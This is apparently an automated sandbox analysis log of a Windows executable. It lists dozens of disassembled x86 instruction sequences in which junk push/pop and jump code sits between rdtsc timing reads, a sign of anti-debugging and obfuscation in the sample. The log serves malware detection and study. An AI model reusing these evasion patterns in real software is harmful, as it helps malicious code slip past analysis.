Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0460 second address: 53B0471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8FACDB056Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0471 second address: 53B04A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b jmp 00007F8FAD4EAD5Dh 0x00000010 jne 00007F901DBD8D68h 0x00000016 jmp 00007F8FAD4EAD5Eh 0x0000001b mov ebx, dword ptr [ebp+08h] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B04A6 second address: 53B04AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B04AA second address: 53B04AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B04AE second address: 53B04B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B04B4 second address: 53B0510 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8FAD4EAD5Eh 0x00000013 add ecx, 2216A428h 0x00000019 jmp 00007F8FAD4EAD5Bh 0x0000001e popfd 0x0000001f jmp 00007F8FAD4EAD68h 0x00000024 popad 0x00000025 xchg eax, esi 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0510 second address: 53B0514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0514 second address: 53B05A6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8FAD4EAD5Ah 0x00000008 or ecx, 601171B8h 0x0000000e jmp 00007F8FAD4EAD5Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov bl, cl 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007F8FAD4EAD62h 0x0000001f xchg eax, esi 0x00000020 jmp 00007F8FAD4EAD60h 0x00000025 nop 0x00000026 pushad 0x00000027 call 00007F8FAD4EAD5Eh 0x0000002c mov bh, ch 0x0000002e pop ebx 0x0000002f pushfd 0x00000030 jmp 00007F8FAD4EAD5Ch 0x00000035 sbb eax, 69AD8DA8h 0x0000003b jmp 00007F8FAD4EAD5Bh 0x00000040 popfd 0x00000041 popad 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F8FAD4EAD64h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B05A6 second address: 53B05E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8FACDB0571h 0x00000008 call 00007F8FACDB0570h 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 jmp 00007F8FACDB0571h 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B05E7 second address: 53B05EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B05EB second address: 53B05EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B05EF second address: 53B05F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B05F5 second address: 53B060A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8FACDB0571h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B060A second address: 53B063D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov di, 9A72h 0x00000011 mov esi, edi 0x00000013 popad 0x00000014 xchg eax, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8FAD4EAD60h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B068D second address: 53B06A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8FACDB0578h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B06A9 second address: 53B06AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B06AD second address: 53B06BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ecx, ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B06BC second address: 53B0048 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8FAD4EAD5Fh 0x00000008 adc ah, FFFFFFEEh 0x0000000b jmp 00007F8FAD4EAD69h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F8FAD4EAD60h 0x00000019 sbb esi, 72D6F568h 0x0000001f jmp 00007F8FAD4EAD5Bh 0x00000024 popfd 0x00000025 popad 0x00000026 je 00007F901DBD8C9Ah 0x0000002c xor eax, eax 0x0000002e jmp 00007F8FAD4C448Ah 0x00000033 pop esi 0x00000034 pop edi 0x00000035 pop ebx 0x00000036 leave 0x00000037 retn 0004h 0x0000003a nop 0x0000003b sub esp, 04h 0x0000003e mov esi, eax 0x00000040 xor ebx, ebx 0x00000042 cmp esi, 00000000h 0x00000045 je 00007F8FAD4EAE95h 0x0000004b call 00007F8FB2816D9Ch 0x00000050 mov edi, edi 0x00000052 pushad 0x00000053 mov dx, cx 0x00000056 movzx eax, dx 0x00000059 popad 0x0000005a push ebx 0x0000005b jmp 00007F8FAD4EAD5Ch 0x00000060 mov dword ptr [esp], ebp 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 pushfd 0x00000067 jmp 00007F8FAD4EAD68h 0x0000006c sub ax, 5828h 0x00000071 jmp 00007F8FAD4EAD5Bh 0x00000076 popfd 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0048 second address: 53B0060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8FACDB0574h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0060 second address: 53B00B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push esi 0x0000000f movsx ebx, si 0x00000012 pop esi 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F8FAD4EAD68h 0x0000001a and esi, 6D25E018h 0x00000020 jmp 00007F8FAD4EAD5Bh 0x00000025 popfd 0x00000026 pop eax 0x00000027 popad 0x00000028 push esi 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F8FAD4EAD5Bh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B00B5 second address: 53B00CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8FACDB0574h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B00CD second address: 53B010C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ecx 0x0000000e jmp 00007F8FAD4EAD66h 0x00000013 mov dword ptr [ebp-04h], 55534552h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F8FAD4EAD5Ah 0x00000023 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B010C second address: 53B011B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B011B second address: 53B0133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8FAD4EAD64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0AE7 second address: 53B0AEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0AEB second address: 53B0AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0AF1 second address: 53B0B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, E6D3h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8FACDB0571h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0B13 second address: 53B0B28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0B28 second address: 53B0B44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0571h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0B44 second address: 53B0B57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0B57 second address: 53B0BB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0579h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F8FACDB056Eh 0x00000010 cmp dword ptr [75AF459Ch], 05h 0x00000017 jmp 00007F8FACDB0570h 0x0000001c je 00007F901D48E3CAh 0x00000022 jmp 00007F8FACDB0570h 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0BB7 second address: 53B0BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 2AABC1EEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0C08 second address: 53B0C61 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 04F1h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c mov dh, 0Ch 0x0000000e push ecx 0x0000000f pop edx 0x00000010 popad 0x00000011 push esi 0x00000012 pushfd 0x00000013 jmp 00007F8FACDB0577h 0x00000018 or ecx, 36DF7A0Eh 0x0000001e jmp 00007F8FACDB0579h 0x00000023 popfd 0x00000024 pop esi 0x00000025 popad 0x00000026 mov eax, dword ptr [esp+04h] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov ax, dx 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0ADD second address: 53C0AE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0AE1 second address: 53C0AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0AE7 second address: 53C0B5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 4B3Fh 0x00000007 jmp 00007F8FAD4EAD64h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F8FAD4EAD60h 0x00000015 push eax 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F8FAD4EAD61h 0x0000001d adc ah, 00000046h 0x00000020 jmp 00007F8FAD4EAD61h 0x00000025 popfd 0x00000026 mov dh, al 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F8FAD4EAD66h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0B5B second address: 53C0B60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0B60 second address: 53C0B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0B66 second address: 53C0BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a movsx edi, ax 0x0000000d mov ebx, esi 0x0000000f popad 0x00000010 xchg eax, esi 0x00000011 jmp 00007F8FACDB056Ch 0x00000016 push eax 0x00000017 jmp 00007F8FACDB056Bh 0x0000001c xchg eax, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F8FACDB0570h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0BA4 second address: 53C0BB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0BB3 second address: 53C0BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0BB9 second address: 53C0BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0BBD second address: 53C0C0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+0Ch] 0x0000000e jmp 00007F8FACDB0576h 0x00000013 test esi, esi 0x00000015 pushad 0x00000016 mov edi, 22330680h 0x0000001b popad 0x0000001c je 00007F901D47DD2Dh 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F8FACDB0571h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0C0B second address: 53C0C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0C0F second address: 53C0C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0C15 second address: 53C0C6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AF459Ch], 05h 0x00000010 jmp 00007F8FAD4EAD60h 0x00000015 je 00007F901DBD05B1h 0x0000001b jmp 00007F8FAD4EAD60h 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F8FAD4EAD67h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0C6C second address: 53C0C72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0D0F second address: 53C0D15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0D15 second address: 53C0D1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0D1B second address: 53C0D1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 66DE430 second address: 66DE434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 68539D1 second address: 68539D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 68539D9 second address: 68539F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8FACDB0575h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 68539F4 second address: 68539F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6853FB5 second address: 6853FDA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8FACDB0566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F8FACDB057Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6853FDA second address: 6853FE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6853FE0 second address: 6853FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6853FE4 second address: 6853FFE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8FAD4EAD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jc 00007F8FAD4EAD5Ah 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6854179 second address: 6854186 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8FACDB0566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6857609 second address: 6857657 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8FAD4EAD58h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F8FAD4EAD61h 0x00000013 push edi 0x00000014 jmp 00007F8FAD4EAD5Ch 0x00000019 pop edi 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jmp 00007F8FAD4EAD60h 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 jns 00007F8FAD4EAD56h 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6857657 second address: 685765C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 68576E2 second address: 68576E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 68576E6 second address: 685779E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F8FACDB057Eh 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F8FACDB0568h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b mov di, cx 0x0000002e push 00000000h 0x00000030 mov edx, dword ptr [ebp+122D3A08h] 0x00000036 push 103EA214h 0x0000003b jmp 00007F8FACDB056Ah 0x00000040 xor dword ptr [esp], 103EA294h 0x00000047 push ecx 0x00000048 call 00007F8FACDB0573h 0x0000004d mov dword ptr [ebp+122D3428h], edi 0x00000053 pop esi 0x00000054 pop edi 0x00000055 push 00000003h 0x00000057 xor dword ptr [ebp+122D2C18h], edx 0x0000005d push 00000000h 0x0000005f push 00000003h 0x00000061 mov esi, dword ptr [ebp+122D39ECh] 0x00000067 call 00007F8FACDB0569h 0x0000006c push esi 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F8FACDB056Ch 0x00000074 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 685779E second address: 68577BE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8FAD4EAD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007F8FAD4EAD5Eh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 68577BE second address: 685781A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8FACDB056Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jg 00007F8FACDB0568h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push edx 0x00000018 jmp 00007F8FACDB0574h 0x0000001d pop edx 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 jmp 00007F8FACDB056Eh 0x00000029 jmp 00007F8FACDB0574h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 685781A second address: 6857820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6857820 second address: 6857824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6857824 second address: 6857842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8FAD4EAD60h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6857842 second address: 685784C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F8FACDB0566h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 685790E second address: 6857933 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8FAD4EAD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e mov di, ACCEh 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D347Ch], ebx 0x0000001a push E7D6352Eh 0x0000001f push eax 0x00000020 push edx 0x00000021 push ecx 0x00000022 push eax 0x00000023 pop eax 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6876291 second address: 6876297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6876297 second address: 687629F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 687629F second address: 68762A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
